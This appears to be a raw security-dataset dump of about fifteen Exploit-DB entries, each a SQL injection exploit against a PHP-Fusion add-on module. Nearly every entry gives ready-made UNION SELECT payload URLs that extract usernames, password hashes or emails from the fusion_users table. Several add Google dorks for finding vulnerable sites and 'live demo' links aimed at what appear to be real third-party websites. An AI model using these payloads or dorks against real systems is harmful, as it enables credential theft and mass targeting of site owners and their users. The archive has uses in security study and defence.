deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8194
Description: PHP-Fusion Mod Book Panel - 'course_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-10
Author: SuB-ZeRo

Exploit:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
PHP-Fusion Mod - Book Panel Remote SQL Injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
exploit :
http://www.milw0rm.com/exploits/8182
home : http://www.security-dz.com / soon mirror attack for sub-z3ro
contacte : FbH@hotmail.com
exploited by: SuB-ZeRo
Greetings: x.CJP.x & AnGeL25Dz
-------------------------------------------------------------------------------------------------------------------------------------
Exploit:

http://site.com/[path]/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,user_name,4,5,6,7+from+security_users--

   live demo :
http://recipes.casetaintor.com/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,user_name,4,5,6,7+from+security_users--

# milw0rm.com [2009-03-10]
Exploit-DB #5961
Description: PHP-Fusion Mod Classifieds - 'lid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-27
Author: boom3rang

Exploit:
#################################
Php fusion "classifieds"  SQL-injetion  
#################################

++++++++++++++++++++++++++++
Author     :     boom3rang
contact     :    boomerang [at] knaqu-shqipe [dot] de
webpage  :  www.khg-crew.ws 
++++++++++++++++++++++++++++



----> Remote SQL Injection <------


[+] Dork:                     inurl:"classifieds.php?op=detail_adverts"


[+] Example:  www.SITE.com/infusions/classifieds/classifieds.php?op=detail_adverts&lid= [SQL]



exploit:
www.SITE.com/infusions/classifieds/classifieds.php?op=detail_adverts&lid=-9999+union+all+select+1,user_name,user_password,4,5,6,null,null+from+fusion_users--



##########################################
  greetz to:   All my albanian brothers
     =United State of Albania = 
##########################################

# milw0rm.com [2008-06-27]
Exploit-DB #7698
Description: PHP-Fusion Mod E-Cart 1.3 - 'items.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-07
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                    PHP-Fusion Mod E-Cart Sql Injection                      ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi
#####################################################################################
#                                                                                   #
#Download : http://www.phpfusion-mods.net/infusions/downloads/dldb.php?op=view&id=281
#                                                                                   #
#Dork : inurl:/infusions/e_cart                                                     #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#Username : http://Site/[path]/infusions/e_cart/items.php?CA=-9999'%20union%20select%20user_name,1,2%20from%20fusion_users/*
#                                                                                   #
#Password : http://Site/[path]/infusions/e_cart/items.php?CA=-9999'%20union%20select%20user_password,1,2%20from%20fusion_users/*
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2009-01-07]
Exploit-DB #6620
Description: PHP-Fusion Mod freshlinks - 'linkid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-28
Author: boom3rang

Exploit:
########################################################
PHP-Fusion Mod freshlinks (linkid) Remote SQL Injection Vulnerability
########################################################



++++++++++++++++++++++++++++
Author     :     boom3rang
webpage  :    www.khg-crew.ws 
greetz     :    H!tm@N, KHG, chs, redc00de, pr0xy-ki11er | Kosova Hackers Group.
++++++++++++++++++++++++++++




[+] Dork:                     inurl:"freshlinks_panel/index.php?linkid"

[+] Example:         http://localhost/infusions/freshlinks_panel/index.php?linkid= [SQL] &frame

username:
index.php?linkid=-9999/**/union/**/all/**/select/**/1,user_name,3,4,5,6,7,8/**/from/**/fusion_users--&frame

password: 
index.php?linkid=-9999/**/union/**/all/**/select/**/1,user_password,3,4,5,6,7,8/**/from/**/fusion_users--&frame


ps. Username and Password you can find in Title!

############################################
                     =United State of Albania=
                        -Porud 2 be Albanian-
                        -Proud 2 be Muslim-
############################################

# milw0rm.com [2008-09-28]
Exploit-DB #5942
Description: PHP-Fusion Mod Kroax 4.42 - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-26
Author: boom3rang

Exploit:
==========================================================
The kroax php_fusion Remote SQL-injection.
==========================================================

##################################
Author     :  boom3rang
Contact   :  boomerang@knaqu-shqipe.de
webpage  :  www.khg-crew.ws 
##################################


--- Remote SQL Injection ---

[+]Google Dork:                               inurl:"kroax.php?category" 

--------------
 Exploit
--------------

example:

www.site.com/infusions/the_kroax/kroax.php?category= [SQL]



[+] username:
www.xxx-site.com/infusions/the_kroax/kroax.php?category=-9999/**/union/**/all/**/select/**/1,user_name,3,4,5,6/**/from/**/fusion_users/**/where/**/user_id=1--&boom3rang


[+] password: 
www.xxx-site.com/infusions/the_kroax/kroax.php?category=-9999/**/union/**/all/**/select/**/1,user_password,3,4,5,6/**/from/**/fusion_users/**/where/**/user_id=1--&boom3rang\


ps. To find username use first  "SQL" with table_name  user_name, and for password use second "SQL" with table_name user_password.




==========================================================    Greetz to:  All my Albanian brothers   ==========================================================

# milw0rm.com [2008-06-26]
Exploit-DB #6681
Description: PHP-Fusion Mod manuals - 'manual' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-05
Author: boom3rang

Exploit:
########################################################
PHP-Fusion Mod manuals (manual) Remote SQL Injection Vulnerability
########################################################

++++++++++++++++++++++++++++
Author :         boom3rang
webpage :    www.khg-crew.ws
greetz :    H!tm@N, KHG, chs, redc00de, pr0xy-ki11er - [-=Kosova Hackers Group=-]
++++++++++++++++++++++++++++


[+] Dork:      infusions/manuals/manuals.php?manual=

[+] Example:         http://localhost/infusions/manuals/manuals.php?manual=[ exploit ]

[+] Exploit
--------------------------------
username:
http://www.xxxxxxx.com/infusions/manuals/manuals.php?manual=-9999+union+all+select+user_name,2+from+fusion_users--&page=1

password: 
http://www.xxxxxxx.com/infusions/manuals/manuals.php?manual=-9999+union+all+select+user_password,2+from+fusion_users--&page=1

email:
http://www.xxxxxxx.com/infusions/manuals/manuals.php?manual=-9999+union+all+select+user_email,2+from+fusion_users--&page=1
--------------------------------


[+] liveDEMO: 

http://www.shuric.com/infusions/manuals/manuals.php?manual=-9999+union+all+select+user_name,2+from+fusion_users--&page=1
http://www.shuric.com/infusions/manuals/manuals.php?manual=-9999+union+all+select+user_password,2+from+fusion_users--&page=1
http://www.shuric.com/infusions/manuals/manuals.php?manual=-9999+union+all+select+user_email,2+from+fusion_users--&page=1
============================
+Proud 2 be Albanian
+Proud 2 be Muslim
+United States of Albania
============================

# milw0rm.com [2008-10-05]
Exploit-DB #7697
Description: PHP-Fusion Mod Members CV (job) 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-07
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                PHP-Fusion Mod Members Bewerb Sql Injection                  ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi
#####################################################################################
#                                                                                   #
#Download : http://www.phpfusion-mods.net/infusions/downloads/dldb.php?op=view&id=204
#                                                                                   #
#Dork :  :(                                                                           #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://Site/[path]/members.php?sortby=%'%20union%20select%200,user_password,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20fusion_users/*
#                                                                                   #
#You must login then use bug .                                                      #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2009-01-07]
Exploit-DB #15227
Description: PHP-Fusion Mod Mg User Fotoalbum 1.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-10-10
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : PHP-Fusion mg user fotoalbum 1.0.1 <=  SQL injection Vulnerability Proof of Concept
+Autor : Easy Laster
+Date   : 10.10.2010
+Script  : PHP-Fusion mg user fotoalbum 1.0.1
+Download : http://phpfusion.marcusg.de/downloads.php?page_id=67
+Price : free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco,
 
---------------------------------------------------------------------------------------
                                                                                      
 ___ ___ ___ ___                         _ _           _____           _         _  
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_| 
                                              |___|                 |___|           
 
 
----------------------------------------------------------------------------------------
+Proof of Concept
+Table : fusion_users
+columns : user_password, user_name
+Proof of Concept : http://www.site.com/infusions/mg_user_fotoalbum_panel/mg_user_fot
oalbum.php?album_user_id=251&album_id=%27+union+select+1,2,3,4,user_name,6,7,8,9,10,11
+from+fusion_users+where+user_id=1--+
----------------------------------------------------------------------------------------
Exploit-DB #6682
Description: PHP-Fusion Mod raidtracker_panel - 'INFO_RAID_ID' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-05
Author: boom3rang

Exploit:
########################################################
PHP-Fusion Mod raidtracker_panel (INFO_RAID_ID) Remote SQL Injection Vulnerability
########################################################

++++++++++++++++++++++++++++
Author :         boom3rang
webpage :    www.khg-crew.ws
greetz :    H!tm@N, KHG, chs, redc00de, pr0xy-ki11er - [-=Kosova Hackers Group=-]
++++++++++++++++++++++++++++


[+] Dork:      infusions/raidtracker_panel/thisraidprogress.php?

[+] Example:         http://localhost/infusions/raidtracker_panel/thisraidprogress.php?INFO_RAID_ID=[ exploit ]

[+] Exploit
--------------------------------

http://www.xxxxxxx.com/infusions/raidtracker_panel/thisraidprogress.php?INFO_RAID_ID=-9999+union+all+select+1,2,3,user_name,user_password,6+from+fusion_users--

--------------------------------


[+] liveDEMO: 

http://differenceguild.com/infusions/raidtracker_panel/thisraidprogress.php?INFO_RAID_ID=-9999+union+all+select+1,2,3,user_name,user_password,6+from+fusion_users--

ps. 
Raidgroup: [ Here username]
Ingame Raid ID: [ Here password ]

============================
+Proud 2 be Albanian
+Proud 2 be Muslim
+United States of Albania
============================

# milw0rm.com [2008-10-05]
Exploit-DB #6683
Description: PHP-Fusion Mod recept - 'kat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-05
Author: boom3rang

Exploit:
########################################################
PHP-Fusion Mod recept (kat_id) Remote SQL Injection Vulnerability
########################################################

++++++++++++++++++++++++++++
Author :         boom3rang
webpage :    www.khg-crew.ws
greetz :    H!tm@N, KHG, chs, redc00de, pr0xy-ki11er - [-=Kosova Hackers Group-=]
++++++++++++++++++++++++++++


[+] Dork:     infusions/recept/recept.php?

[+] Example:         http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=[ exploit ]

[+] Exploit
--------------------------------
username:
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_name,4,5,6,7+from+fusion_users--+

password: 
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_password,4,5,6,7+from+fusion_users--+

email:
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_email,4,5,6,7+from+fusion_users--+
--------------------------------


[+] liveDEMO: 

http://usmalayali.com/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_password,4,5,6,7+from+fusion_users--+


============================
+Proud 2 be Albanian
+Proud 2 be Muslim
+United States of Albania
============================

# milw0rm.com [2008-10-05]
Exploit-DB #7729
Description: PHP-Fusion Mod the_kroax - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-11
Author: FasTWORM

Exploit:
PHP-Fusion Mod the_kroax (comment_id) SQL Injection Vulnerability
-----------------------------------------------------------------------------------------------------------

[+]Author by : FasTWORM
[+]home: Cyber-Warrior.Org
[+]exploit:
[+]http://www.beylerli.com/infusions/the_kroax/callcomments.php?comment_id=-999'+union+select+0,1905,2,3,user_name,5,6,1905+from+fusion_users/*
[+]http://www.beylerli.com/infusions/the_kroax/callcomments.php?comment_id=-999'+union+select+0,1905,2,3,user_password,5,6,1905+from+fusion_users/*
 
----------------------------------------------------------------------------------------------------------------------
[+]Greetz : BackDooR , Tr-ShaRk , All CW Users
[+]Note   : Bugun DoÄŸum GÃ¼nÃ¼m :)
----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2009-01-11]
Exploit-DB #7598
Description: PHP-Fusion Mod TI - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-28
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####              	PHP-Fusion Mod TI - Blog System Sql Injection                ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi
#####################################################################################
#                                                                                   #
#Download : http://www.phpfusion-mods.net/infusions/downloads/dldb.php?op=view&id=157
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://Site/[path]/blog.php?page=blog_id&id=-9999'+union+select+0,1,2,user_name,user_password,5+from+fusion_users/*
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-12-28]
Exploit-DB #6684
Description: PHP-Fusion Mod triscoop_race_system - 'raceid' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-05
Author: boom3rang

Exploit:
########################################################
PHP-Fusion Mod triscoop_race_system (raceid) Remote SQL Injection Vulnerability
########################################################

++++++++++++++++++++++++++++
Author :         boom3rang
webpage :    www.khg-crew.ws
greetz :    H!tm@N, KHG, chs, redc00de, pr0xy-ki11er - [-=Kosova Hackers Group-=]
++++++++++++++++++++++++++++


[+] Dork:     infusions/triscoop_race_system/race_details.php?

[+] Example:         http://localhost/infusions/triscoop_race_system/race_details.php?raceid=[ exploit ]

[+] Exploit
--------------------------------

http://localhost/infusions/triscoop_race_system/race_details.php?raceid=-9999+union+all+select+1,null,null,4,null,user_name,7,user_password,null,0,null,null,13,14,null,16,17,18,19,20,21,22+from+fusion_users--


============================
+Proud 2 be Albanian
+Proud 2 be Muslim
+United States of Albania
============================

# milw0rm.com [2008-10-05]
Exploit-DB #7703
Description: PHP-Fusion Mod vArcade 1.8 - 'comment_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-08
Author: Khashayar Fereidani

Exploit:
----------------------------------------------------------------

Script : PHP-Fusion Mod vArcade 1.8

Type : Sql Injection Vulnerability

Risk : High

----------------------------------------------------------------

Download From : http://venue.nu/

----------------------------------------------------------------

Discovered by : Khashayar Fereidani

My Official Website : HTTP://FEREIDANI.IR

Our Team Website : Http://IRCRASH.COM

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

----------------------------------------------------------------

Sql Injection Vulnerability :

Vulnerable address : http://[host]/[path]/infusions/varcade/callcomments.php?comment_id=9999%27+union+select+0,user_name,2,3,4,5,6,user_password+from+fusion_users+where+user_id=1/*

Google Dark : inurl:/infusions/varcade/

----------------------------------------------------------------

                        Tnx : God

          HTTP://IRCRASH.COM HTTP://FEREIDANI.IR

----------------------------------------------------------------

# milw0rm.com [2009-01-08]
Exploit-DB #3640
Description: PHP-Fusion Module Arcade 1.0 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2007-04-02
Author: Mehmet Ince

Exploit:
--------------------------------

PHP-FUSION Arcade Module (cid) Remote SQL Injection Vuln

--------------------------------

Bulan: xoron

xoron.biz 

--------------------------------

Exploit: 

index.php?op=view_game_list&cid=-1/**/union/**/select/**/null,user_name,user_password,null,null,null/**/from/**/fusion_users/*

--------------------------------

Exapmle: http://www.basicwallpapers.dk/infusions/arcade/

--------------------------------

Google Dork:
/infusions/arcade/   18.000 sites:)

--------------------------------

Ekin0x  / -->  evilc0der.org  <--

--------------------------------

# milw0rm.com [2007-04-02]